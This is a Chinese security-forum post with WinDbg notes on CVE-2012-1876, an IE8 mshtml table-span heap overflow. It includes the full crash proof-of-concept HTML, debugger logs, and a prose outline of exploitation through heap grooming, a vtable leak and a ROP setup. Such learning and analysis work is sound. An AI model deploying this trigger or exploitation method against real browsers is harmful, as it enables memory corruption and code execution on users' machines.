首页
社区
课程
招聘
[原创]漏洞战争:CVE-2012-1876调试笔记
发表于: 2018-3-18 03:22 13481

[原创]漏洞战争:CVE-2012-1876调试笔记

2018-3-18 03:22
13481

在调试漏洞战争上的CVE-2012-1876做了一些笔记,漏洞分析的话漏洞战争和vupen的文章已经写的很清楚了。
因为是第一次用windbg,所以我主要把自己的环境搭建(比如怎么导入符号文件)和调试日志(十分详细)记录了一下,希望对那些和我一样,刚开始学习漏洞分析与调试的人有所帮助。

在windbg的窗口里输入

重启后要重新输入。

基于HPA的漏洞分析方法

在终端通过gflags启动hpa

启动ie浏览器后,用windbg attach进程


两个进程,一个是broker进程 一个是页面的内容进程,附加后面的那个就可以,就是内容进程。
检查一下hpa开了没。

然后需要开启子进程调试,这样才能断下来。

然后g,启动调试器。


看到debugger正在运行了。
然后把poc拖到浏览器里运行。
另外poc拖进去之后,会自动断下来。

再g一下,就变成下面这个样子。


然后允许ActiveX控件运行。

然后kb回溯一下栈

这里可能会出现没有符号的问题,解决方法如下:
在windbg的窗口里输入

然后可以看见

分析一下
首先导致崩溃的(分析内容在下述代码注释了)

这样就清楚了,我们要在上一个函数下断。
重启一下windbg,重新attach

这个时候把poc拖进去(注意到没有提示允许activeX运行)

lm (List Loaded Modules)
lm命令显示指定的已加载模块。输出中包含模块状态和路径。

sx 命令显示当前进程的异常列表和所有非异常的事件列表,并且显示调试器遇到每个异常和事件时的行为。

ld (Load Symbols)
ld 命令加载指定模块的符号并刷新所有模块信息。

这样组合起来,就是ld制定mshtml加载,然后sxe强制在加载这个模块后断下。
现在我们就可以对这个函数下断了。

我在调试的时候辅助了一下IDA,其实是可以不用的。
直接静态分析找到CalculateMinMax

另外这里也需要导入符号。


单步继续跟随调试,按p就可以单步执行( 不进入函数那种),不过其实按回车也可以。

注意到mov ebx,dword ptr [ebp+8] ss:0023:0467e4b4=0492aea8,[ebp+8]是参数1(知道栈吧..)

可见参数1引用的是CTableLayout对象,也就是<table>标签中的对象。

这里的ebx+54h指向的是table标签里的col元素的span值,在poc中只有一个span值1,所以这里赋值1.

讲道理,用windbg这样看汇编太难受了,接下来我们用IDA看吧

跟进CImplAry::EnsureSizeWorker函数,发现该函数主要用于分配堆内存,分配的内存大小,分配的内存大小为spansum * 0x1C,虽然此处spansum为1,但其分配的最小值为0x1C * 4=0x70,分配的地址保存在CtableLayout+0x9C

我们看下分配的缓冲区vulheap地址。

分配的地址在ebx+0x9C

此外,我们看一下用于比较的spansum和spancmp

从上面的代码段可知,这里分配了0x70大小的内存地址在CtableLayout+0x9C指向的地址。
总结:

要注意的地方
再次g之后会出现允许activeX允许这个框,

然后发现

这我也不知道是中间再次在哪触发了这个函数,还是重新运行了poc,总之这个时候的spansum和spancmp都没变,分别为1和0.
我觉得可能是中间又在哪触发了吧,不像是重新运行了,我也不确定是为什么,没有完整的阅读这个模块。
总之再次g之后,就和泉哥书上一致了。spansum还是1,spancmp变成4.

当分配完内存后,执行poc中的over_trigger函数时,会再一次断在CTableLayout::CalculateMinMax函数中,跟进去看下spansum和spancmp的值。

把之前设置的多余断点删掉,注意bc后跟的是断点的标号。

spansum为1,spancmp的值为4,(4>>2)为1==1,不发生跳转,不分配内存。

但是在over_trigger中,我们已经将span设置为1000了,这也是允许的最大值。
接着执行到mshtml!CTableLayout::CalculateMinMax+0x37e,我本来bp了一个断点在这,然后g一下,可是并没有断下来(这里没有断下来应该还是我断点下错了,没有进入那个断点的语句块),所以没办法,单步p呗,然后发现了新姿势,p 10能一次10下。

在mshtml!CTableCol::GetAAspan下断点,让它第二次获取span值的时候断下来。

gu是执行到当前函数结束返回。
此时span的值已经是0x3e8即最大值1000了。
继续分析后续代码。

复制的内容相当于width * 100得到的数值,比如此处为0x41,则复制内容为0x41 * 1000=0x1004
在AdjustForCol中,会以1000 * 0x1c位计数循环向vulheap写入数据,最终造成heap溢出。
再g就崩溃了。


总结

经过调试,泉哥142页shr eax,2理解错了,那个shr是右移的意思,而泉哥写的是左移运算符<<

漏洞利用的原理方面,vupen的文章写的比漏洞战争书上要详细好懂一些,可以先看这个。
此外,关于exp的编写请参考漏洞战争,这里只做调试分析。

这部分主要是用来构造堆布局,构造结果如下。

然后从中间(200)开始释放EEEE...,腾出空间。
释放的位置就是为了在分配vulheap时能够占用到释放位置中的一个,当溢出时就可以占用到后面的字符串和CButtonLayout。

先通过windbg attach ie,然后打开childdbg,因为刚开始IE还没有加载jsript.dll,所以可以先设置加载jscript.dll时断下(sxe),按g运行,拖入exp。
lmm确定载入后,再对JSCollectGarbage下断(bp),然后g运行。

继续下断,找到vulheap分配的位置,具体分析参考漏洞战争。

打开log文件做记录,另外我在jscript!JsStrSubString下了额外的断点。
此外改动一下exp,加个alert。

断下

保存之后,最后一个vulheap就是我们要找的.

另外为了确定虚表偏移,直接动态找一下吧。

奇怪的是,有两个虚表,这里我也不知道为什么……

69ff3af8-69e80000=0x00173af8
这和泉哥书上说的中文版win7+ie8环境中的偏移也是一致的。


然后这我就很不解了……
此外看一下vulheap。

很简单的能观察到03f2ae30的AAAA字符串被大量覆盖,所以它就是vulheap。
为做对比,我多打印了很多,下面的未被覆盖的AAAA都是成片出现的。

不过对比漏洞战争书上,本来03f2b040地址处的fa被覆盖为48 00 01 00即0x00010048,这个覆盖看的出来(下图蓝色框线).
按照0x03f2ae30+0x100(EEEE...)+0x8(堆指针大小)+0x100(AAAA...)+0x8(堆指针大小)=03f2b040,也确实应该是这里,我应该没理解错。

但是很奇怪,我的fa也还在……(下图红色框线),这可能就是我之前弹窗打印出的虚表地址不正确的原因吧,感觉别人的文章里都不会这样……难以理解

得到虚表地址后,计算mshtml基地址,构造rop。

然后再次溢出,这次溢出直接像刚刚覆盖BBBB的大小一样,直接覆盖虚表指针,于是就可以劫持虚表指针到任意地址,如下。

调试poc的时候还是比较顺利的,在调exp那里各种卡壳,唉。
主要还是学到了一些windbg的使用吧。
比如如果要下断点,其实可以在html里插入数学函数,比如用Math.cos,然后在jscript!Cos下断。
比如要查看jscript的导出表,可以在windbg里用x jscript!* 来查找,找虚表可以使用类似的方法(见上文)

 
 
 
 
 
 
 
 
 
 
.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols
<html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
 </table>
 <script>

 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }

 setTimeout("over_trigger();",1);

 </script>
 </body>
 </html>
0:000> .symfix
0:000> .reload
Reloading current modules
................................................................
.............................
0:000> !gflag
Current NtGlobalFlag contents: 0x02000000
    hpa - Place heap allocations at ends of pages
.childdbg 1
0:027> g
ModLoad: 74c30000 74c38000   C:\Windows\system32\credssp.dll
ModLoad: 752a0000 752a8000   C:\Windows\system32\secur32.dll
ModLoad: 750c0000 750f8000   C:\Windows\system32\ncrypt.dll
ModLoad: 750a0000 750b7000   C:\Windows\system32\bcrypt.dll
ModLoad: 74c70000 74cad000   C:\Windows\system32\bcryptprimitives.dll
ModLoad: 74b50000 74b66000   C:\Windows\system32\GPAPI.dll
ModLoad: 70c60000 70c7c000   C:\Windows\system32\cryptnet.dll
ModLoad: 72e70000 72e85000   C:\Windows\system32\Cabinet.dll
ModLoad: 74d10000 74d1e000   C:\Windows\system32\DEVRTL.dll
1:021> g
ModLoad: 760f0000 7610f000   C:\Windows\system32\IMM32.DLL
ModLoad: 75b40000 75c0c000   C:\Windows\system32\MSCTF.dll
ModLoad: 6ccf0000 6d76c000   C:\Windows\system32\IEFRAME.dll
ModLoad: 75da0000 75da5000   C:\Windows\system32\PSAPI.DLL
ModLoad: 72940000 7297c000   C:\Windows\system32\OLEACC.dll
ModLoad: 741a0000 7433e000   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll
ModLoad: 75810000 7588b000   C:\Windows\system32\comdlg32.dll
ModLoad: 71620000 71655000   C:\Program Files\Internet Explorer\IEShims.dll
ModLoad: 75460000 7546c000   C:\Windows\system32\CRYPTBASE.dll
ModLoad: 74390000 743d0000   C:\Windows\system32\uxtheme.dll
ModLoad: 75500000 7550e000   C:\Windows\system32\RpcRtRemote.dll
ModLoad: 735b0000 735c3000   C:\Windows\system32\dwmapi.dll
ModLoad: 723c0000 723f3000   C:\Program Files\Internet Explorer\sqmapi.dll
ModLoad: 74f90000 74fa6000   C:\Windows\system32\CRYPTSP.dll
ModLoad: 76170000 7630d000   C:\Windows\system32\SETUPAPI.dll
ModLoad: 756b0000 756d7000   C:\Windows\system32\CFGMGR32.dll
ModLoad: 756e0000 756f2000   C:\Windows\system32\DEVOBJ.dll
ModLoad: 74d30000 74d6b000   C:\Windows\system32\rsaenh.dll
ModLoad: 764a0000 76523000   C:\Windows\system32\CLBCatQ.DLL
ModLoad: 743f0000 744e5000   C:\Windows\system32\propsys.dll
ModLoad: 6f9e0000 6fa0b000   C:\Program Files\Internet Explorer\ieproxy.dll
ModLoad: 772c0000 773b4000   C:\Windows\system32\WININET.dll
ModLoad: 76490000 76493000   C:\Windows\system32\Normaliz.dll
ModLoad: 75510000 7551b000   C:\Windows\system32\profapi.dll
ModLoad: 753f0000 7540a000   C:\Windows\system32\SspiCli.dll
ModLoad: 75db0000 75de5000   C:\Windows\system32\ws2_32.DLL
ModLoad: 759f0000 759f6000   C:\Windows\system32\NSI.dll
ModLoad: 74e10000 74e54000   C:\Windows\system32\dnsapi.DLL
ModLoad: 739a0000 739bc000   C:\Windows\system32\iphlpapi.DLL
ModLoad: 73980000 73987000   C:\Windows\system32\WINNSI.DLL
ModLoad: 6d920000 6d94e000   C:\Windows\system32\MLANG.dll
ModLoad: 75410000 7545b000   C:\Windows\system32\apphelp.dll
ModLoad: 73fe0000 74001000   C:\Windows\system32\ntmarta.dll
ModLoad: 77500000 77545000   C:\Windows\system32\WLDAP32.dll
ModLoad: 74a10000 74a19000   C:\Windows\system32\VERSION.dll
ModLoad: 67b10000 680c2000   C:\Windows\System32\mshtml.dll
ModLoad: 6e2c0000 6e2ea000   C:\Windows\System32\msls31.dll
ModLoad: 75470000 754cf000   C:\Windows\system32\SXS.DLL
ModLoad: 71270000 712a2000   C:\Windows\system32\WINMM.dll
ModLoad: 744f0000 74529000   C:\Windows\system32\MMDevAPI.DLL
ModLoad: 6daf0000 6db20000   C:\Windows\system32\wdmaud.drv
ModLoad: 6dae0000 6dae4000   C:\Windows\system32\ksuser.dll
ModLoad: 74730000 74737000   C:\Windows\system32\AVRT.dll
ModLoad: 6db20000 6db56000   C:\Windows\system32\AUDIOSES.DLL
ModLoad: 74760000 7476b000   C:\Windows\system32\msimtf.dll
ModLoad: 6dad0000 6dad8000   C:\Windows\system32\msacm32.drv
ModLoad: 6dab0000 6dac4000   C:\Windows\system32\MSACM32.dll
ModLoad: 6daa0000 6daa7000   C:\Windows\system32\midimap.dll

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (6)
雪    币: 62
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我跟着楼主的分析过程分析了该漏洞,覆盖了虚函数,完成堆喷,但是调用虚函数的时候,发现取不到值了,楼主能解释下原因吗?
0:013> g
(e18.a98): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07070024 ebx=01000000 ecx=02e84bd8 edx=00000041 esi=0208d430 edi=006df6b8
eip=6801e664 esp=0208d26c ebp=0208d2a0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!NotifyElement+0x3e:
6801e664 ff5008          call    dword ptr [eax+8]    ds:0023:0707002c=????????

2018-7-28 18:05
0
雪    币: 1329
活跃值: (42)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
前排支持大佬
2018-7-29 20:12
0
雪    币: 8624
活跃值: (374)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
好东西,学习学习。
2019-1-3 16:28
0
雪    币: 4120
活跃值: (5822)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
5
大佬,图挂了。
2019-1-4 15:44
0
雪    币: 2203
活跃值: (217)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
6
大佬,图挂了。麻烦补一下
2019-1-14 23:10
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
7
sakura零,您好,图片丢失了。建议图片,都直接论坛本地化保存。放外链,时间长了就会丢失。
查看了一下你的帖,大部分的帖,我们人工转到本地保存了,但还是有少部分没有图片没法转。
2019-2-1 13:40
0
游客
登录 | 注册 方可回帖
返回
//